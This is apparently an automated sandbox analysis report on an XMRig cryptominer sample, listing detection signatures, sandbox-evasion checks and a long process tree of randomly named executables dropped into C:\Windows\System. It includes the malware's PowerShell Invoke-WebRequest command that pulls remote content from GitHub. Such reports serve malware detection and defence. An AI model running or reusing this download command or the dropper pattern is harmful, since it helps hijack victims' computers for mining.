Analysis
- max time kernel
100s - max time network
128s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
- submitted
07/06/2024, 15:12
General
- Target 65bc666b2a1869cf4181284355ac1f70_NeikiAnalytics.exe
- Size 2.8MB
- Sample240607-slfkjsac41
- SHA256 7bce5aea41cb9efc20bdca4877034510a8b2df43481d57e29c4e955432ad88c8
Score
10/10
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 64 IoCs
- Blocklisted process makes network request 7 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
- Executes dropped EXE 64 IoCs
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Drops file in Windows directory 64 IoCs
- Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 4 IoCs
- Modifies data under HKEY_USERS 18 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 9 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\65bc666b2a1869cf4181284355ac1f70_NeikiAnalytics.exe"C:\Users\Admin\AppData\Local\Temp\65bc666b2a1869cf4181284355ac1f70_NeikiAnalytics.exe"1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System\MQamPVi.exeC:\Windows\System\MQamPVi.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\jPNHMVs.exeC:\Windows\System\jPNHMVs.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\yvdQRun.exeC:\Windows\System\yvdQRun.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\WCwCTEh.exeC:\Windows\System\WCwCTEh.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\pamzTyK.exeC:\Windows\System\pamzTyK.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\hpyYPdr.exeC:\Windows\System\hpyYPdr.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\KcTAJLS.exeC:\Windows\System\KcTAJLS.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\wYlUNNy.exeC:\Windows\System\wYlUNNy.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\gQdHaxm.exeC:\Windows\System\gQdHaxm.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\sKZNtAS.exeC:\Windows\System\sKZNtAS.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\TNycEdp.exeC:\Windows\System\TNycEdp.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\YrMKyDu.exeC:\Windows\System\YrMKyDu.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\KDmKpFX.exeC:\Windows\System\KDmKpFX.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\noGwNza.exeC:\Windows\System\noGwNza.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\mwwzhsD.exeC:\Windows\System\mwwzhsD.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\gAbCLzZ.exeC:\Windows\System\gAbCLzZ.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\ylIsERY.exeC:\Windows\System\ylIsERY.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\pnmSDxB.exeC:\Windows\System\pnmSDxB.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\yTHuUwX.exeC:\Windows\System\yTHuUwX.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\vJqMvwb.exeC:\Windows\System\vJqMvwb.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\kMlaWMd.exeC:\Windows\System\kMlaWMd.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\fKPhgRA.exeC:\Windows\System\fKPhgRA.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\wGcMSAM.exeC:\Windows\System\wGcMSAM.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\PAWECQB.exeC:\Windows\System\PAWECQB.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\RzkmLfU.exeC:\Windows\System\RzkmLfU.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\ZwGYRFj.exeC:\Windows\System\ZwGYRFj.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\VVznLKO.exeC:\Windows\System\VVznLKO.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\TefSDon.exeC:\Windows\System\TefSDon.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\fMtTxMe.exeC:\Windows\System\fMtTxMe.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\LCqOxCo.exeC:\Windows\System\LCqOxCo.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\eArVEOq.exeC:\Windows\System\eArVEOq.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\LByGYcN.exeC:\Windows\System\LByGYcN.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\RUXeJUv.exeC:\Windows\System\RUXeJUv.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\hCpGzSZ.exeC:\Windows\System\hCpGzSZ.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\cctANeF.exeC:\Windows\System\cctANeF.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\bOsYZid.exeC:\Windows\System\bOsYZid.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\CQHebKn.exeC:\Windows\System\CQHebKn.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\oYZYqFJ.exeC:\Windows\System\oYZYqFJ.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\dJSLgqD.exeC:\Windows\System\dJSLgqD.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\miZrEvU.exeC:\Windows\System\miZrEvU.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\dsQawrG.exeC:\Windows\System\dsQawrG.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\DhARbvq.exeC:\Windows\System\DhARbvq.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\tIbQdov.exeC:\Windows\System\tIbQdov.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\TPDATbi.exeC:\Windows\System\TPDATbi.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\BwSBOEC.exeC:\Windows\System\BwSBOEC.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\BOPEUnH.exeC:\Windows\System\BOPEUnH.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\TPTTuUy.exeC:\Windows\System\TPTTuUy.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\BjJqFMB.exeC:\Windows\System\BjJqFMB.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\cjZFSrg.exeC:\Windows\System\cjZFSrg.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\VGZgSRw.exeC:\Windows\System\VGZgSRw.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\QvXWNkh.exeC:\Windows\System\QvXWNkh.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\vpjYtCL.exeC:\Windows\System\vpjYtCL.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\QSBBixo.exeC:\Windows\System\QSBBixo.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\oMSJGQl.exeC:\Windows\System\oMSJGQl.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\qwMiUNB.exeC:\Windows\System\qwMiUNB.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\nOZGCde.exeC:\Windows\System\nOZGCde.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\SHqNvYx.exeC:\Windows\System\SHqNvYx.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\BmLHukM.exeC:\Windows\System\BmLHukM.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\fEhlDxE.exeC:\Windows\System\fEhlDxE.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\zJZGCbM.exeC:\Windows\System\zJZGCbM.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\tscViuE.exeC:\Windows\System\tscViuE.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\vhPZvvs.exeC:\Windows\System\vhPZvvs.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\NmGFwJE.exeC:\Windows\System\NmGFwJE.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\rIfySyK.exeC:\Windows\System\rIfySyK.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\WipsGFX.exeC:\Windows\System\WipsGFX.exe2⤵
-
-
C:\Windows\System\mckTXdo.exeC:\Windows\System\mckTXdo.exe2⤵
-
-
C:\Windows\System\trVeShh.exeC:\Windows\System\trVeShh.exe2⤵
-
-
C:\Windows\System\xceRyaM.exeC:\Windows\System\xceRyaM.exe2⤵
-
-
C:\Windows\System\tcriUIZ.exeC:\Windows\System\tcriUIZ.exe2⤵
-
-
C:\Windows\System\gCNyQAm.exeC:\Windows\System\gCNyQAm.exe2⤵
-
-
C:\Windows\System\kvRjxLG.exeC:\Windows\System\kvRjxLG.exe2⤵
-
-
C:\Windows\System\MSjHzCL.exeC:\Windows\System\MSjHzCL.exe2⤵
-
-
C:\Windows\System\yQVHrUy.exeC:\Windows\System\yQVHrUy.exe2⤵
-
-
C:\Windows\System\ZrEhDTJ.exeC:\Windows\System\ZrEhDTJ.exe2⤵
-
-
C:\Windows\System\kdGJrVV.exeC:\Windows\System\kdGJrVV.exe2⤵
-
-
C:\Windows\System\ShOgCtg.exeC:\Windows\System\ShOgCtg.exe2⤵
-
-
C:\Windows\System\LpdPYKj.exeC:\Windows\System\LpdPYKj.exe2⤵
-
-
C:\Windows\System\pjNPPvY.exeC:\Windows\System\pjNPPvY.exe2⤵
-
-
C:\Windows\System\PnliQZK.exeC:\Windows\System\PnliQZK.exe2⤵
-
-
C:\Windows\System\TkSJJaL.exeC:\Windows\System\TkSJJaL.exe2⤵
-
-
C:\Windows\System\ZGZlIZd.exeC:\Windows\System\ZGZlIZd.exe2⤵
-
-
C:\Windows\System\zFKWNmn.exeC:\Windows\System\zFKWNmn.exe2⤵
-
-
C:\Windows\System\jtRexye.exeC:\Windows\System\jtRexye.exe2⤵
-
-
C:\Windows\System\ZJkIwAY.exeC:\Windows\System\ZJkIwAY.exe2⤵
-
-
C:\Windows\System\vBKzFtW.exeC:\Windows\System\vBKzFtW.exe2⤵
-
-
C:\Windows\System\HTEuBkj.exeC:\Windows\System\HTEuBkj.exe2⤵
-
-
C:\Windows\System\NidizRG.exeC:\Windows\System\NidizRG.exe2⤵
-
-
C:\Windows\System\regGCWh.exeC:\Windows\System\regGCWh.exe2⤵
-
-
C:\Windows\System\KEzZlOB.exeC:\Windows\System\KEzZlOB.exe2⤵
-
-
C:\Windows\System\HNuwnWZ.exeC:\Windows\System\HNuwnWZ.exe2⤵
-
-
C:\Windows\System\CisHKbK.exeC:\Windows\System\CisHKbK.exe2⤵
-
-
C:\Windows\System\cIZUcOK.exeC:\Windows\System\cIZUcOK.exe2⤵
-
-
C:\Windows\System\sKYTjCm.exeC:\Windows\System\sKYTjCm.exe2⤵
-
-
C:\Windows\System\UtgMPzv.exeC:\Windows\System\UtgMPzv.exe2⤵
-
-
C:\Windows\System\BPenQXp.exeC:\Windows\System\BPenQXp.exe2⤵
-
-
C:\Windows\System\BQRHEXc.exeC:\Windows\System\BQRHEXc.exe2⤵
-
-
C:\Windows\System\vWEzPqm.exeC:\Windows\System\vWEzPqm.exe2⤵
-
-
C:\Windows\System\yRjWpYE.exeC:\Windows\System\yRjWpYE.exe2⤵
-
-
C:\Windows\System\yKAbNki.exeC:\Windows\System\yKAbNki.exe2⤵
-
-
C:\Windows\System\nMEfGly.exeC:\Windows\System\nMEfGly.exe2⤵
-
-
C:\Windows\System\iahEGBc.exeC:\Windows\System\iahEGBc.exe2⤵
-
-
C:\Windows\System\IuaFZey.exeC:\Windows\System\IuaFZey.exe2⤵
-
-
C:\Windows\System\DPUocSg.exeC:\Windows\System\DPUocSg.exe2⤵
-
-
C:\Windows\System\wyabRXx.exeC:\Windows\System\wyabRXx.exe2⤵
-
-
C:\Windows\System\eHXPKxf.exeC:\Windows\System\eHXPKxf.exe2⤵
-
-
C:\Windows\System\XxskeLO.exeC:\Windows\System\XxskeLO.exe2⤵
-
-
C:\Windows\System\uInHSJR.exeC:\Windows\System\uInHSJR.exe2⤵
-
-
C:\Windows\System\xsdATZF.exeC:\Windows\System\xsdATZF.exe2⤵
-
-
C:\Windows\System\HcYKUgG.exeC:\Windows\System\HcYKUgG.exe2⤵
-
-
C:\Windows\System\msupKjl.exeC:\Windows\System\msupKjl.exe2⤵
-
-
C:\Windows\System\JgOdEDH.exeC:\Windows\System\JgOdEDH.exe2⤵
-
-
C:\Windows\System\RSxfAow.exeC:\Windows\System\RSxfAow.exe2⤵
-
-
C:\Windows\System\RtLYbpT.exeC:\Windows\System\RtLYbpT.exe2⤵
-
-
C:\Windows\System\WtPETAu.exeC:\Windows\System\WtPETAu.exe2⤵
-
-
C:\Windows\System\ojEaJhz.exeC:\Windows\System\ojEaJhz.exe2⤵
-
-
C:\Windows\System\SRzPjXS.exeC:\Windows\System\SRzPjXS.exe2⤵
-
-
C:\Windows\System\rESFKzK.exeC:\Windows\System\rESFKzK.exe2⤵
-
-
C:\Windows\System\VJpqxcS.exeC:\Windows\System\VJpqxcS.exe2⤵
-
-
C:\Windows\System\OLsqtJr.exeC:\Windows\System\OLsqtJr.exe2⤵
-
-
C:\Windows\System\FRiZFNl.exeC:\Windows\System\FRiZFNl.exe2⤵
-
-
C:\Windows\System\eCQytPo.exeC:\Windows\System\eCQytPo.exe2⤵
-
-
C:\Windows\System\frIChpc.exeC:\Windows\System\frIChpc.exe2⤵
-
-
C:\Windows\System\VJDYnPO.exeC:\Windows\System\VJDYnPO.exe2⤵
-
-
C:\Windows\System\baGtryM.exeC:\Windows\System\baGtryM.exe2⤵
-
-
C:\Windows\System\XcaVrDD.exeC:\Windows\System\XcaVrDD.exe2⤵
-
-
C:\Windows\System\XLZtWlQ.exeC:\Windows\System\XLZtWlQ.exe2⤵
-
-
C:\Windows\System\RqKKiAW.exeC:\Windows\System\RqKKiAW.exe2⤵
-
-
C:\Windows\System\uSmRnSX.exeC:\Windows\System\uSmRnSX.exe2⤵
-
-
C:\Windows\System\JpXUSVt.exeC:\Windows\System\JpXUSVt.exe2⤵
-
-
C:\Windows\System\ddQAQzi.exeC:\Windows\System\ddQAQzi.exe2⤵
-
-
C:\Windows\System\JbGylmC.exeC:\Windows\System\JbGylmC.exe2⤵
-
-
C:\Windows\System\tzzCxTQ.exeC:\Windows\System\tzzCxTQ.exe2⤵
-
-
C:\Windows\System\JKRzUYL.exeC:\Windows\System\JKRzUYL.exe2⤵
-
-
C:\Windows\System\ZVETlTy.exeC:\Windows\System\ZVETlTy.exe2⤵
-
-
C:\Windows\System\BsXtgLg.exeC:\Windows\System\BsXtgLg.exe2⤵
-
-
C:\Windows\System\oTSTzxj.exeC:\Windows\System\oTSTzxj.exe2⤵
-
-
C:\Windows\System\beQulik.exeC:\Windows\System\beQulik.exe2⤵
-
-
C:\Windows\System\RCQeUnC.exeC:\Windows\System\RCQeUnC.exe2⤵
-
-
C:\Windows\System\VRWWlXd.exeC:\Windows\System\VRWWlXd.exe2⤵
-
-
C:\Windows\System\HYLRSek.exeC:\Windows\System\HYLRSek.exe2⤵
-
-
C:\Windows\System\zmOMNdH.exeC:\Windows\System\zmOMNdH.exe2⤵
-
-
C:\Windows\System\lXwZRAu.exeC:\Windows\System\lXwZRAu.exe2⤵
-
-
C:\Windows\System\uNdgMFe.exeC:\Windows\System\uNdgMFe.exe2⤵
-
-
C:\Windows\System\mMjZZHo.exeC:\Windows\System\mMjZZHo.exe2⤵
-
-
C:\Windows\System\SxBIrFP.exeC:\Windows\System\SxBIrFP.exe2⤵
-
-
C:\Windows\System\WWuuxMB.exeC:\Windows\System\WWuuxMB.exe2⤵
-
-
C:\Windows\System\VmsCRur.exeC:\Windows\System\VmsCRur.exe2⤵
-
-
C:\Windows\System\NBpiInq.exeC:\Windows\System\NBpiInq.exe2⤵
-
-
C:\Windows\System\bKzCKwS.exeC:\Windows\System\bKzCKwS.exe2⤵
-
-
C:\Windows\System\VBRhmSv.exeC:\Windows\System\VBRhmSv.exe2⤵
-
-
C:\Windows\System\UTJQbxx.exeC:\Windows\System\UTJQbxx.exe2⤵
-
-
C:\Windows\System\nfnthsg.exeC:\Windows\System\nfnthsg.exe2⤵
-
-
C:\Windows\System\FOIYgOc.exeC:\Windows\System\FOIYgOc.exe2⤵
-
-
C:\Windows\System\omQlbPH.exeC:\Windows\System\omQlbPH.exe2⤵
-
-
C:\Windows\System\IHKczLR.exeC:\Windows\System\IHKczLR.exe2⤵
-
-
C:\Windows\System\wARFVNT.exeC:\Windows\System\wARFVNT.exe2⤵
-
-
C:\Windows\System\AHdvmBA.exeC:\Windows\System\AHdvmBA.exe2⤵
-
-
C:\Windows\System\jORqiMv.exeC:\Windows\System\jORqiMv.exe2⤵
-
-
C:\Windows\System\VMYTjfN.exeC:\Windows\System\VMYTjfN.exe2⤵
-
-
C:\Windows\System\YPpBCTH.exeC:\Windows\System\YPpBCTH.exe2⤵
-
-
C:\Windows\System\cHQOADe.exeC:\Windows\System\cHQOADe.exe2⤵
-
-
C:\Windows\System\LUSrltK.exeC:\Windows\System\LUSrltK.exe2⤵
-
-
C:\Windows\System\PfLarsH.exeC:\Windows\System\PfLarsH.exe2⤵
-
-
C:\Windows\System\dpncCsd.exeC:\Windows\System\dpncCsd.exe2⤵
-
-
C:\Windows\System\aUbjSZM.exeC:\Windows\System\aUbjSZM.exe2⤵
-
-
C:\Windows\System\muniAiV.exeC:\Windows\System\muniAiV.exe2⤵
-
-
C:\Windows\System\KLNnXlP.exeC:\Windows\System\KLNnXlP.exe2⤵
-
-
C:\Windows\System\GlAXgcF.exeC:\Windows\System\GlAXgcF.exe2⤵
-
-
C:\Windows\System\BIKXjvV.exeC:\Windows\System\BIKXjvV.exe2⤵
-
-
C:\Windows\System\MEQzscm.exeC:\Windows\System\MEQzscm.exe2⤵
-
-
C:\Windows\System\iscupDy.exeC:\Windows\System\iscupDy.exe2⤵
-
-
C:\Windows\System\lGyvDCJ.exeC:\Windows\System\lGyvDCJ.exe2⤵
-
-
C:\Windows\System\WPXYAKq.exeC:\Windows\System\WPXYAKq.exe2⤵
-
-
C:\Windows\System\qXskYnI.exeC:\Windows\System\qXskYnI.exe2⤵
-
-
C:\Windows\System\RKMWldC.exeC:\Windows\System\RKMWldC.exe2⤵
-
-
C:\Windows\System\weKldOr.exeC:\Windows\System\weKldOr.exe2⤵
-
-
C:\Windows\System\nNtbBSU.exeC:\Windows\System\nNtbBSU.exe2⤵
-
-
C:\Windows\System\LsTIGpr.exeC:\Windows\System\LsTIGpr.exe2⤵
-
-
C:\Windows\System\XDeTEIs.exeC:\Windows\System\XDeTEIs.exe2⤵
-
-
C:\Windows\System\TShVKYT.exeC:\Windows\System\TShVKYT.exe2⤵
-
-
C:\Windows\System\CVsaoiw.exeC:\Windows\System\CVsaoiw.exe2⤵
-
-
C:\Windows\System\oBQAwZh.exeC:\Windows\System\oBQAwZh.exe2⤵
-
-
C:\Windows\System\QHwAGOr.exeC:\Windows\System\QHwAGOr.exe2⤵
-
-
C:\Windows\System\TgIYuXI.exeC:\Windows\System\TgIYuXI.exe2⤵
-
-
C:\Windows\System\bXZisuz.exeC:\Windows\System\bXZisuz.exe2⤵
-
-
C:\Windows\System\ILCaigv.exeC:\Windows\System\ILCaigv.exe2⤵
-
-
C:\Windows\System\TixkhHP.exeC:\Windows\System\TixkhHP.exe2⤵
-
-
C:\Windows\System\JdqUsQN.exeC:\Windows\System\JdqUsQN.exe2⤵
-
-
C:\Windows\System\yHVRelF.exeC:\Windows\System\yHVRelF.exe2⤵
-
-
C:\Windows\System\BCuYBSQ.exeC:\Windows\System\BCuYBSQ.exe2⤵
-
-
C:\Windows\System\LoSmHuQ.exeC:\Windows\System\LoSmHuQ.exe2⤵
-
-
C:\Windows\System\UFORVvE.exeC:\Windows\System\UFORVvE.exe2⤵
-
-
C:\Windows\System\DOtDmAL.exeC:\Windows\System\DOtDmAL.exe2⤵
-
-
C:\Windows\System\EiWFgSk.exeC:\Windows\System\EiWFgSk.exe2⤵
-
-
C:\Windows\System\lyMledx.exeC:\Windows\System\lyMledx.exe2⤵
-
-
C:\Windows\System\gQIfHIV.exeC:\Windows\System\gQIfHIV.exe2⤵
-
-
C:\Windows\System\dIgsqBp.exeC:\Windows\System\dIgsqBp.exe2⤵
-
-
C:\Windows\System\UNGGyBz.exeC:\Windows\System\UNGGyBz.exe2⤵
-
-
C:\Windows\System\UjExIWr.exeC:\Windows\System\UjExIWr.exe2⤵
-
-
C:\Windows\System\MwGLZVa.exeC:\Windows\System\MwGLZVa.exe2⤵
-
-
C:\Windows\System\ROaPKkG.exeC:\Windows\System\ROaPKkG.exe2⤵
-
-
C:\Windows\System\aiBYGiD.exeC:\Windows\System\aiBYGiD.exe2⤵
-
-
C:\Windows\System\GdYPZiL.exeC:\Windows\System\GdYPZiL.exe2⤵
-
-
C:\Windows\System\yBAFeYA.exeC:\Windows\System\yBAFeYA.exe2⤵
-
-
C:\Windows\System\TzPtdKu.exeC:\Windows\System\TzPtdKu.exe2⤵
-
-
C:\Windows\System\YhmSzbS.exeC:\Windows\System\YhmSzbS.exe2⤵
-
-
C:\Windows\System\DsJkHtL.exeC:\Windows\System\DsJkHtL.exe2⤵
-
-
C:\Windows\System\efxpoJQ.exeC:\Windows\System\efxpoJQ.exe2⤵
-
-
C:\Windows\System\mFsBXga.exeC:\Windows\System\mFsBXga.exe2⤵
-
-
C:\Windows\System\dyQObrt.exeC:\Windows\System\dyQObrt.exe2⤵
-
-
C:\Windows\System\HApnKjc.exeC:\Windows\System\HApnKjc.exe2⤵
-
-
C:\Windows\System\bUhTFad.exeC:\Windows\System\bUhTFad.exe2⤵
-
-
C:\Windows\System\OjFdhRB.exeC:\Windows\System\OjFdhRB.exe2⤵
-
-
C:\Windows\System\KhxXvAp.exeC:\Windows\System\KhxXvAp.exe2⤵
-
-
C:\Windows\System\SOJQUKx.exeC:\Windows\System\SOJQUKx.exe2⤵
-
-
C:\Windows\System\vUEBBdi.exeC:\Windows\System\vUEBBdi.exe2⤵
-
-
C:\Windows\System\yqdUCRQ.exeC:\Windows\System\yqdUCRQ.exe2⤵
-
-
C:\Windows\System\CCuzRHM.exeC:\Windows\System\CCuzRHM.exe2⤵
-
-
C:\Windows\System\SEtayrz.exeC:\Windows\System\SEtayrz.exe2⤵
-
-
C:\Windows\System\hdYpnbM.exeC:\Windows\System\hdYpnbM.exe2⤵
-
-
C:\Windows\System\FEfsACS.exeC:\Windows\System\FEfsACS.exe2⤵
-
-
C:\Windows\System\ggemplc.exeC:\Windows\System\ggemplc.exe2⤵
-
-
C:\Windows\System\YCxmrLi.exeC:\Windows\System\YCxmrLi.exe2⤵
-
-
C:\Windows\System\mtCPydx.exeC:\Windows\System\mtCPydx.exe2⤵
-
-
C:\Windows\System\ztmlWgX.exeC:\Windows\System\ztmlWgX.exe2⤵
-
-
C:\Windows\System\cPlNkXk.exeC:\Windows\System\cPlNkXk.exe2⤵
-
-
C:\Windows\System\pMAGHyq.exeC:\Windows\System\pMAGHyq.exe2⤵
-
-
C:\Windows\System\suFnXzc.exeC:\Windows\System\suFnXzc.exe2⤵
-
-
C:\Windows\System\SmHutLf.exeC:\Windows\System\SmHutLf.exe2⤵
-
-
C:\Windows\System\KnGIgOM.exeC:\Windows\System\KnGIgOM.exe2⤵
-
-
C:\Windows\System\AMCYrMy.exeC:\Windows\System\AMCYrMy.exe2⤵
-
-
C:\Windows\System\sMngNvY.exeC:\Windows\System\sMngNvY.exe2⤵
-
-
C:\Windows\System\urfltBE.exeC:\Windows\System\urfltBE.exe2⤵
-
-
C:\Windows\System\RLqLrzk.exeC:\Windows\System\RLqLrzk.exe2⤵
-
-
C:\Windows\System\zgeytwm.exeC:\Windows\System\zgeytwm.exe2⤵
-
-
C:\Windows\System\eWKEkzm.exeC:\Windows\System\eWKEkzm.exe2⤵
-
-
C:\Windows\System\UWPSXdo.exeC:\Windows\System\UWPSXdo.exe2⤵
-
-
C:\Windows\System\PvxSaDF.exeC:\Windows\System\PvxSaDF.exe2⤵
-
-
C:\Windows\System\nyBOLep.exeC:\Windows\System\nyBOLep.exe2⤵
-
-
C:\Windows\System\nFIoNhU.exeC:\Windows\System\nFIoNhU.exe2⤵
-
-
C:\Windows\System\nuBYXnB.exeC:\Windows\System\nuBYXnB.exe2⤵
-
-
C:\Windows\System\AenVPfr.exeC:\Windows\System\AenVPfr.exe2⤵
-
-
C:\Windows\System\fSJcNEU.exeC:\Windows\System\fSJcNEU.exe2⤵
-
-
C:\Windows\System\aqbJhBp.exeC:\Windows\System\aqbJhBp.exe2⤵
-
-
C:\Windows\System\KBPvBDk.exeC:\Windows\System\KBPvBDk.exe2⤵
-
-
C:\Windows\System\KVtirgp.exeC:\Windows\System\KVtirgp.exe2⤵
-
-
C:\Windows\System\llLyDBQ.exeC:\Windows\System\llLyDBQ.exe2⤵
-
-
C:\Windows\System\OHfYtyu.exeC:\Windows\System\OHfYtyu.exe2⤵
-
-
C:\Windows\System\nSZDqlD.exeC:\Windows\System\nSZDqlD.exe2⤵
-
-
C:\Windows\System\yHVutcV.exeC:\Windows\System\yHVutcV.exe2⤵
-
-
C:\Windows\System\FOIAqke.exeC:\Windows\System\FOIAqke.exe2⤵
-
-
C:\Windows\System\OtIMNqL.exeC:\Windows\System\OtIMNqL.exe2⤵
-
-
C:\Windows\System\cheXKYX.exeC:\Windows\System\cheXKYX.exe2⤵
-
-
C:\Windows\System\NTqVHGW.exeC:\Windows\System\NTqVHGW.exe2⤵
-
-
C:\Windows\System\WnFYhXk.exeC:\Windows\System\WnFYhXk.exe2⤵
-
-
C:\Windows\System\SLwyOtL.exeC:\Windows\System\SLwyOtL.exe2⤵
-
-
C:\Windows\System\TBNIiPH.exeC:\Windows\System\TBNIiPH.exe2⤵
-
-
C:\Windows\System\raAnlrx.exeC:\Windows\System\raAnlrx.exe2⤵
-
-
C:\Windows\System\oVQauGU.exeC:\Windows\System\oVQauGU.exe2⤵
-
-
C:\Windows\System\BLLhSVP.exeC:\Windows\System\BLLhSVP.exe2⤵
-
-
C:\Windows\System\GNYBOXh.exeC:\Windows\System\GNYBOXh.exe2⤵
-
-
C:\Windows\System\trrgonB.exeC:\Windows\System\trrgonB.exe2⤵
-
-
C:\Windows\System\MbIgkFD.exeC:\Windows\System\MbIgkFD.exe2⤵
-
-
C:\Windows\System\BBAdVaZ.exeC:\Windows\System\BBAdVaZ.exe2⤵
-
-
C:\Windows\System\VLneQuW.exeC:\Windows\System\VLneQuW.exe2⤵
-
-
C:\Windows\System\LhICbFT.exeC:\Windows\System\LhICbFT.exe2⤵
-
-
C:\Windows\System\DQndLjp.exeC:\Windows\System\DQndLjp.exe2⤵
-
-
C:\Windows\System\vMkzLoR.exeC:\Windows\System\vMkzLoR.exe2⤵
-
-
C:\Windows\System\YvSEeww.exeC:\Windows\System\YvSEeww.exe2⤵
-
-
C:\Windows\System\sxmhVbT.exeC:\Windows\System\sxmhVbT.exe2⤵
-
-
C:\Windows\System\ONDjDpd.exeC:\Windows\System\ONDjDpd.exe2⤵
-
-
C:\Windows\System\tirSQdD.exeC:\Windows\System\tirSQdD.exe2⤵
-
-
C:\Windows\System\voaZTbu.exeC:\Windows\System\voaZTbu.exe2⤵
-
-
C:\Windows\System\kLrrrJp.exeC:\Windows\System\kLrrrJp.exe2⤵
-
-
C:\Windows\System\QxzNuKz.exeC:\Windows\System\QxzNuKz.exe2⤵
-
-
C:\Windows\System\kkACOYF.exeC:\Windows\System\kkACOYF.exe2⤵
-
-
C:\Windows\System\ZLFtTrL.exeC:\Windows\System\ZLFtTrL.exe2⤵
-
-
C:\Windows\System\RiAYoSz.exeC:\Windows\System\RiAYoSz.exe2⤵
-
-
C:\Windows\System\ZDQuBRT.exeC:\Windows\System\ZDQuBRT.exe2⤵
-
-
C:\Windows\System\HNupPXj.exeC:\Windows\System\HNupPXj.exe2⤵
-
-
C:\Windows\System\ZAZvNfJ.exeC:\Windows\System\ZAZvNfJ.exe2⤵
-
-
C:\Windows\System\sWKmBgn.exeC:\Windows\System\sWKmBgn.exe2⤵
-
-
C:\Windows\System\EglMgGM.exeC:\Windows\System\EglMgGM.exe2⤵
-
-
C:\Windows\System\QkTTMkb.exeC:\Windows\System\QkTTMkb.exe2⤵
-
-
C:\Windows\System\VAeqUMf.exeC:\Windows\System\VAeqUMf.exe2⤵
-
-
C:\Windows\System\HAxtIhX.exeC:\Windows\System\HAxtIhX.exe2⤵
-
-
C:\Windows\System\FapLeWN.exeC:\Windows\System\FapLeWN.exe2⤵
-
-
